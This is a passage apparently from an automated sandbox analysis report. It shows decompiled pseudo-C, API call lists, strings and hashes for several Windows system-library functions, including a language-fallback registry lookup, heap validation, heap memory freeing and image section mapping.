Part of subcall function 6D24F018: RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6D24F0CB

ZwClose.1105(00000000,?,?,?,?,00020019,00000018), ref: 6D24E720
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00020019,00000018), ref: 6D24E736
RtlInitUnicodeString.1105(?,00000000,?,00000000,?,?,?,InstallLanguageFallback,?,?,?,?,00020019,00000018), ref: 6D2A5493
RtlCultureNameToLCID.1105(?,?,?,00000000,?,00000000,?,?,?,InstallLanguageFallback,?,?,?,?,00020019,00000018), ref: 6D2A54A2
RtlInitUnicodeString.1105(?,00000000,?,?,?,00000000,?,00000000,?,?,?,InstallLanguageFallback,?,?,?,?), ref: 6D2A54C8
RtlCultureNameToLCID.1105(?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?,InstallLanguageFallback), ref: 6D2A54D7

Strings

@, xrefs: 6D24E6C0
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 6D24E68C
InstallLanguageFallback, xrefs: 6D24E6DB

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapInitStringUnicode$AllocateCultureFreeName$CloseInitializeOpenQueryThunkValuememcpymemset
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 1670556188-1757540487
Opcode ID: df2d50454c1587e3867980290a3236fdd1af59399f577d922f37c33b25a4a915
Instruction ID: 10e6f248212484f9199b9d063aac9d9d74a45431c712a0c12369eb7675d6f6cb
Opcode Fuzzy Hash: df2d50454c1587e3867980290a3236fdd1af59399f577d922f37c33b25a4a915
Instruction Fuzzy Hash: 79519E7259834B9BD705CF24C440A7BB3E8FF88719F05896EF995D7250E734DA0487A2

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D5F5F, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 161
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6D2D5F5F(WCHAR* __ecx, intOrPtr __edx, void** _a4) {
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v60;
				void* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				char _v84;
				WCHAR* _v88;
				intOrPtr _v100;
				signed int _t48;
				signed int _t54;
				int _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t87;
				void* _t91;
				void* _t96;
				void* _t97;
				signed int _t100;

				_v76 = _v76 & 0x00000000;
				_t85 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						RtlInitUnicodeString( &_v68, __ecx);
						L8:
						_v32 = _v32 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_push(0x4021);
						_v28 =  &_v76;
						_push(7);
						_push( &_v60);
						_v36 = 0x18;
						_push( &_v36);
						_push(0x100001);
						_v24 = 0x40;
						_push( &_v84);
						_t54 = E6D289830();
						_t100 = _t54;
						if(_t85 == 0) {
							L13:
							if(_t100 >= 0) {
								_t96 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x410);
								if(_t96 != 0) {
									RtlInitUnicodeString( &_v76, _v88);
									_push(0);
									_push( &_v84);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t96);
									_push( &_v76);
									_push(0);
									_push(0);
									_push(0);
									_push(_v100);
									_t100 = E6D289850();
									if(_t100 >= 0) {
										_t64 =  *(_t96 + 0x3c);
										if(_t64 <= 0x104) {
											_t87 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t64 + 4);
											if(_t87 != 0) {
												_t39 = _t96 + 0x5e; // 0x5e
												memcpy(_t87, _t39,  *(_t96 + 0x3c));
												 *((short*)(_t87 + ( *(_t96 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t87;
											} else {
												_t100 = 0xc0000017;
											}
										}
									}
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t96);
								} else {
									_t100 = 0xc0000017;
								}
							}
							L22:
							if(_v84 != 0) {
								_push(_v84);
								E6D2895D0();
							}
							_t48 = _t100;
							L26:
							return _t48;
						}
						_t97 = _v40;
						if(_t97 != 0) {
							asm("lock xadd [edi], eax");
							if((_t54 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t97 + 4)));
								E6D2895D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t97);
							}
						}
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t91 = 2;
					_t100 = E6D2565BA(_t91, __ecx);
					if(_t100 < 0) {
						goto L22;
					} else {
						_t82 = _v44;
						_t85 = _v64;
						if(_t82 != 0) {
							_v68 = _t82;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x6d2d5f6a
0x6d2d5f73
0x6d2d5f75
0x6d2d5f7c
0x6d2d6137
0x00000000
0x6d2d5f93
0x6d2d5f97
0x6d2d5fd9
0x6d2d5fde
0x6d2d5fde
0x6d2d5fe7
0x6d2d5fec
0x6d2d5ff1
0x6d2d5ff6
0x6d2d5ffe
0x6d2d6000
0x6d2d6005
0x6d2d600d
0x6d2d600e
0x6d2d6017
0x6d2d601f
0x6d2d6020
0x6d2d6025
0x6d2d6029
0x6d2d6066
0x6d2d6068
0x6d2d6084
0x6d2d6088
0x6d2d609d
0x6d2d60a8
0x6d2d60a9
0x6d2d60aa
0x6d2d60ac
0x6d2d60ae
0x6d2d60af
0x6d2d60b4
0x6d2d60b5
0x6d2d60b6
0x6d2d60b7
0x6d2d60b8
0x6d2d60c1
0x6d2d60c5
0x6d2d60c7
0x6d2d60cf
0x6d2d60e5
0x6d2d60e9
0x6d2d60f5
0x6d2d60fa
0x6d2d6109
0x6d2d6110
0x6d2d60eb
0x6d2d60eb
0x6d2d60eb
0x6d2d60e9
0x6d2d60cf
0x6d2d611e
0x6d2d608a
0x6d2d608a
0x6d2d608a
0x6d2d6088
0x6d2d6123
0x6d2d6128
0x6d2d612a
0x6d2d612e
0x6d2d612e
0x6d2d6133
0x6d2d613c
0x6d2d6142
0x6d2d6142
0x6d2d602b
0x6d2d6031
0x6d2d6036
0x6d2d603a
0x6d2d603c
0x6d2d603f
0x6d2d6050
0x6d2d6050
0x6d2d603a
0x6d2d6061
0x00000000
0x6d2d6061
0x6d2d5f9f
0x6d2d5fa0
0x6d2d5fa5
0x6d2d5fa8
0x6d2d5fae
0x6d2d5fb2
0x00000000
0x6d2d5fb8
0x6d2d5fb8
0x6d2d5fbc
0x6d2d5fc3
0x6d2d5fc5
0x6d2d5fcd
0x6d2d5fcd
0x00000000
0x6d2d5fc3
0x6d2d5fb2

APIs

RtlInitUnicodeString.1105(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 6D2D5FD9
ZwOpenFile.1105(?,00100001,?,?,00000007,00004021), ref: 6D2D6020
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6D2D603F
RtlFreeHeap.1105(?,00000000,?,00000000,?,00100001,?,?,00000007,00004021), ref: 6D2D6050
RtlFreeHeap.1105(?,00000000,00000000,?,00100001,?,?,00000007,00004021), ref: 6D2D6061
RtlAllocateHeap.1105(?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6D2D607F
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6D2D612E

Part of subcall function 6D2565BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6D2565CA

RtlInitUnicodeString.1105(?,?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6D2D609D
ZwQueryDirectoryFile.1105(?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?,00000008,00000410,?), ref: 6D2D60BC
RtlAllocateHeap.1105(?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6D2D60E0
memcpy.1105(00000000,0000005E,?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000), ref: 6D2D60FA
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6D2D611E

Strings

@, xrefs: 6D2D6017

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeInitStringUnicode$AllocateCloseFile$DirectoryOpenQuerymemcpy
String ID: @
API String ID: 1610808139-2766056989
Opcode ID: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction ID: d32f548debc15e969b814364527a49430f15cf93a15b2090e7c27639d728eedf
Opcode Fuzzy Hash: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction Fuzzy Hash: 9251CC7259834EAFD752CF14C880F6BB7A8FB85716F010529FA809B291D7B4E904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D3049A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6D3044B7,?), ref: 6D3049DF

Part of subcall function 6D289660: LdrInitializeThunk.NTDLL(6D2D18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6D320810,0000001C,6D2D1616), ref: 6D28966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6D3044B7,?), ref: 6D3049FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6D3044B7,?), ref: 6D304A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6D304A42
DbgPrint.1105(HEAP: ,?), ref: 6D304A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6D304A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6D304ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6D304AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6D304ADB

Strings

HEAP[%wZ]: , xrefs: 6D304A3D, 6D304AB7
This is located in the %s field of the heap header., xrefs: 6D304AD6
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6D304A61
HEAP: , xrefs: 6D304A4A, 6D304A5D, 6D304A5F, 6D304AC4

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: a84e32cd9e6e8385949551a058493d37cf5ed03b47f0f123dbb337bfb9b124fb
Instruction ID: 24d3e084eb232b5f6d8b8a3f3dfd20b153c44bd6f74802a4f8f1803b1feb2e97
Opcode Fuzzy Hash: a84e32cd9e6e8385949551a058493d37cf5ed03b47f0f123dbb337bfb9b124fb
Instruction Fuzzy Hash: B8311236154158EFD351CF68C885F6B73A8EF19724F1280A5F9158B252E732EA80CA69

Uniqueness

Uniqueness Score: -1.00%

Function 6D27AC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6D27AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x9
					E6D29D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0x6d338a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1018
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x21
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E6D2896E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E6D2F3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E6D2896E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E6D24B150();
							} else {
								E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E6D24B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E6D3014FB(_t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E6D267D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E6D301411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E6D267D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E6D301411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x6d27ac85
0x6d27ac88
0x6d27ac8a
0x6d27ac8d
0x6d27ac91
0x6d27ac99
0x6d27ac9c
0x6d2b9f57
0x6d2b9f5b
0x6d2b9f60
0x6d2b9f60
0x6d27aca8
0x6d27acae
0x6d27acda
0x6d27acde
0x6d27ace8
0x6d27aceb
0x6d27acee
0x00000000
0x6d27acee
0x6d27acf6
0x6d27acb0
0x6d27acb0
0x6d27acbb
0x6d27acbd
0x6d27acc0
0x6d27acc5
0x6d27adae
0x6d27adb4
0x6d27adb4
0x6d27acd4
0x6d27acd8
0x6d27acf9
0x6d27acff
0x6d27ad04
0x6d27ad08
0x6d27ad09
0x6d27ad10
0x6d27ad12
0x6d27ad18
0x6d2b9f6f
0x6d2b9f74
0x6d2b9f76
0x6d2b9f7c
0x6d2b9f84
0x6d2b9f88
0x6d2b9f89
0x6d2b9f90
0x6d2b9f90
0x6d2b9f76
0x6d27ad1e
0x6d27ad24
0x6d27ad26
0x6d2ba097
0x6d2ba09b
0x6d2ba0ba
0x6d2ba0bf
0x6d2ba09d
0x6d2ba0b2
0x6d2ba0b7
0x6d2ba0c5
0x6d2ba0c8
0x6d2ba0cb
0x6d2ba0d2
0x00000000
0x6d27ad2c
0x6d27ad2c
0x6d27ad2f
0x6d27ad34
0x6d27ad36
0x6d2b9f97
0x6d2b9f9a
0x00000000
0x00000000
0x6d2b9fa9
0x6d27ad3e
0x6d27ad3e
0x6d27ad41
0x6d2b9fb3
0x6d2b9fb9
0x6d2b9fc0
0x6d2b9fd0
0x6d2b9fd0
0x6d2b9fc0
0x6d27ad4a
0x6d27ad50
0x6d27ad5c
0x6d27ad62
0x6d27ad68
0x6d27ad6b
0x6d27ad6d
0x6d2b9fda
0x6d2b9fdd
0x00000000
0x00000000
0x6d2b9fec
0x00000000
0x6d27ad73
0x6d27ad73
0x6d27ad73
0x6d27ad75
0x6d27ad75
0x6d27ad78
0x6d2b9ff6
0x6d2b9ffc
0x6d2ba003
0x6d2ba00e
0x6d2ba010
0x6d2ba01b
0x6d2ba01b
0x6d2ba01b
0x6d2ba038
0x6d2ba038
0x6d2ba003
0x6d27ad84
0x6d27ad89
0x6d27ad8c
0x6d27ad8e
0x6d2ba042
0x6d2ba045
0x00000000
0x00000000
0x6d2ba054
0x00000000
0x6d27ad94
0x6d27ad94
0x6d27ad94
0x6d27ad96
0x6d27ad96
0x6d27ad99
0x6d2ba063
0x6d2ba065
0x6d2ba070
0x6d2ba070
0x6d2ba070
0x6d2ba08d
0x6d2ba08d
0x6d27ada4
0x6d27ada6
0x00000000
0x6d27ada6
0x6d27ad8e
0x6d27ad6d
0x6d27ad3c
0x6d27ad3c
0x00000000
0x6d27ad3c
0x00000000
0x00000000
0x00000000
0x6d27acd8

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6D27AD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6D2B9F5B

Strings

HEAP[%wZ]: , xrefs: 6D2BA0AD
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6D2BA0CD
HEAP: , xrefs: 6D2BA0BA

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: fd55252cdd8da96b09afbdad81c7ef4a2fb2605c12a50388bae293cbcf8a6845
Instruction ID: bf9e9a121f808c06358c81c235863509de025d8c65cda7b34a2f0ebb80c3a8de
Opcode Fuzzy Hash: fd55252cdd8da96b09afbdad81c7ef4a2fb2605c12a50388bae293cbcf8a6845
Instruction Fuzzy Hash: C481263129468AEFD732CB68C884FA9BBF8FF05369F0045A5E55587292D775E940CB20

Uniqueness

Uniqueness Score: -1.00%

Function 6D27D7CA, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D27D7CA(signed int __ecx, intOrPtr* __edx, char _a4, long* _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				char _v24;
				signed int _v28;
				long _v32;
				char _v36;
				long _v40;
				long _v44;
				void* _v48;
				signed int _v52;
				long _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char* _v76;
				signed int _v80;
				char _v84;
				void* _t70;
				signed int _t77;
				signed int _t83;
				intOrPtr _t97;
				signed int _t99;
				signed int _t100;
				void* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t108;
				long* _t109;
				long _t113;
				void* _t114;
				intOrPtr* _t115;
				signed int _t116;

				_t115 = __edx;
				_t113 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v24 = 0;
				if(__ecx == 0 || __edx == 0 || _a12 == 0) {
					return 0xc000000d;
				} else {
					_t70 = __ecx & 0xfffffffc;
					RtlImageNtHeader(_t70);
					if(_t70 == 0) {
						_t116 = 0xc000007b;
						L27:
						if(_v8 != 0) {
							_push(_v8);
							E6D2895D0();
							_v8 = _t113;
						}
						if(_v16 != 0) {
							_push(_v16);
							_push(0xffffffff);
							E6D2897A0();
						}
						L25:
						return _t116;
					}
					_t104 = 6;
					asm("sbb ebx, ebx");
					_t105 = 2;
					_t102 = (_t100 & _t104) + _t105;
					if(_a4 != 0) {
						_v36 =  *_t115;
						_v32 =  *((intOrPtr*)(_t115 + 4));
						_v20 = 0;
						_v84 = 0x18;
						L33:
						_v80 = _v80 & 0x00000000;
						L10:
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						_v72 = 0x40;
						_v76 =  &_v36;
						_t77 = E6D27D976( &_v8,  &_v84, _v28);
						_t116 = _t77;
						if(_t113 == 0) {
							_t113 = 0;
							L14:
							if(_t116 < 0) {
								goto L27;
							}
							_push(_v8);
							_push(0x8000000);
							_push(_t102);
							_push(_t113);
							_push(_t113);
							_push(0xf0005);
							_push( &_v12);
							_t116 = E6D2899A0();
							if(_t116 < 0) {
								goto L27;
							}
							_push(_t102);
							_push(_t113);
							_push(1);
							_v44 = _t113;
							_push( &_v24);
							_v40 = _t113;
							_push( &_v44);
							_push(_t113);
							_push(_t113);
							_push( &_v16);
							_push(0xffffffff);
							_push(_v12);
							_t83 = E6D289780();
							_t116 = _t83;
							if(_v12 != 0) {
								_push(_v12);
								_t83 = E6D2895D0();
								_v12 = _t113;
							}
							if(_t116 < 0) {
								goto L27;
							} else {
								RtlImageNtHeader(_v16);
								if(_t83 == 0) {
									_t116 = 0xc000007b;
								}
								if(_t116 < 0) {
									goto L27;
								} else {
									 *_a12 = _v16;
									_t108 = _a16;
									if(_t108 != 0) {
										 *_t108 = _v24;
									}
									_t109 = _a8;
									if(_t109 == 0) {
										if(_v8 != 0) {
											_push(_v8);
											E6D2895D0();
										}
									} else {
										 *_t109 = _v8;
									}
									goto L25;
								}
							}
						}
						_t114 = _v48;
						if(_t114 != 0) {
							asm("lock xadd [edi], eax");
							if((_t77 | 0xffffffff) != 0) {
								goto L12;
							}
							_push( *((intOrPtr*)(_t114 + 4)));
							E6D2895D0();
							_t113 = 0;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t114);
							L13:
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t113, _v20);
							goto L14;
						}
						L12:
						_t113 = 0;
						goto L13;
					}
					_t116 = E6D2565BA(_t105,  *((intOrPtr*)(_t115 + 4)),  &_v36, 0,  &_v60);
					if(_t116 < 0) {
						goto L27;
					}
					_t97 = _v60;
					_t113 = _v32;
					_v20 = _t113;
					if(_t97 != 0) {
						_v36 = _t97;
						_v32 = _v56;
						_t99 = _v52;
					} else {
						_t99 = 0;
					}
					_v84 = 0x18;
					if(_t113 == 0) {
						goto L33;
					} else {
						_v80 = _t99;
						goto L10;
					}
				}
			}

0x6d27d7d6
0x6d27d7d9
0x6d27d7db
0x6d27d7de
0x6d27d7e1
0x6d27d7e4
0x6d27d7e7
0x6d27d7ec
0x00000000
0x6d27d803
0x6d27d803
0x6d27d807
0x6d27d80e
0x6d2bb180
0x6d27d95a
0x6d27d95e
0x6d2bb203
0x6d2bb206
0x6d2bb20b
0x6d2bb20b
0x6d27d968
0x6d2bb213
0x6d2bb216
0x6d2bb218
0x6d2bb218
0x6d27d94f
0x00000000
0x6d27d94f
0x6d27d816
0x6d27d81d
0x6d27d821
0x6d27d822
0x6d27d828
0x6d2bb18c
0x6d2bb192
0x6d2bb195
0x6d2bb198
0x6d2bb19f
0x6d2bb19f
0x6d27d86f
0x6d27d872
0x6d27d879
0x6d27d883
0x6d27d88a
0x6d27d88d
0x6d27d892
0x6d27d896
0x6d2bb1e5
0x6d27d8bb
0x6d27d8bd
0x00000000
0x00000000
0x6d27d8c3
0x6d27d8c9
0x6d27d8ce
0x6d27d8cf
0x6d27d8d0
0x6d27d8d1
0x6d27d8d6
0x6d27d8dc
0x6d27d8e0
0x00000000
0x00000000
0x6d27d8e2
0x6d27d8e3
0x6d27d8e4
0x6d27d8e9
0x6d27d8ec
0x6d27d8f0
0x6d27d8f3
0x6d27d8f4
0x6d27d8f5
0x6d27d8f9
0x6d27d8fa
0x6d27d8fc
0x6d27d8ff
0x6d27d908
0x6d27d90a
0x6d27d90c
0x6d27d90f
0x6d27d914
0x6d27d914
0x6d27d919
0x00000000
0x6d27d91b
0x6d27d91e
0x6d27d925
0x6d27d96f
0x6d27d96f
0x6d27d929
0x00000000
0x6d27d92b
0x6d27d931
0x6d27d933
0x6d27d938
0x6d27d93d
0x6d27d93d
0x6d27d93f
0x6d27d944
0x6d2bb1f0
0x6d2bb1f6
0x6d2bb1f9
0x6d2bb1f9
0x6d27d94a
0x6d27d94d
0x6d27d94d
0x00000000
0x6d27d944
0x6d27d929
0x6d27d919
0x6d27d89c
0x6d27d8a1
0x6d2bb1bc
0x6d2bb1c0
0x00000000
0x00000000
0x6d2bb1c6
0x6d2bb1c9
0x6d2bb1d5
0x6d2bb1db
0x6d27d8a9
0x6d27d8b6
0x00000000
0x6d27d8b6
0x6d27d8a7
0x6d27d8a7
0x00000000
0x6d27d8a7
0x6d27d83f
0x6d27d843
0x00000000
0x00000000
0x6d27d849
0x6d27d84c
0x6d27d84f
0x6d27d855
0x6d2bb1a8
0x6d2bb1ae
0x6d2bb1b1
0x6d27d85b
0x6d27d85b
0x6d27d85b
0x6d27d85d
0x6d27d866
0x00000000
0x6d27d86c
0x6d27d86c
0x00000000
0x6d27d86c
0x6d27d866

APIs

RtlImageNtHeader.1105(?,00000000,?,02BE0000), ref: 6D27D807

Part of subcall function 6D25B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6D27381C,?,6D31FF48,00000050,6D273E98,?,6D26F900,00000000,00000000), ref: 6D25B076

Part of subcall function 6D2565BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6D2565CA

RtlFreeHeap.1105(?,00000000,?,?,6D27D77E,00000000,?,?,00000000,?,02BE0000), ref: 6D27D8B6
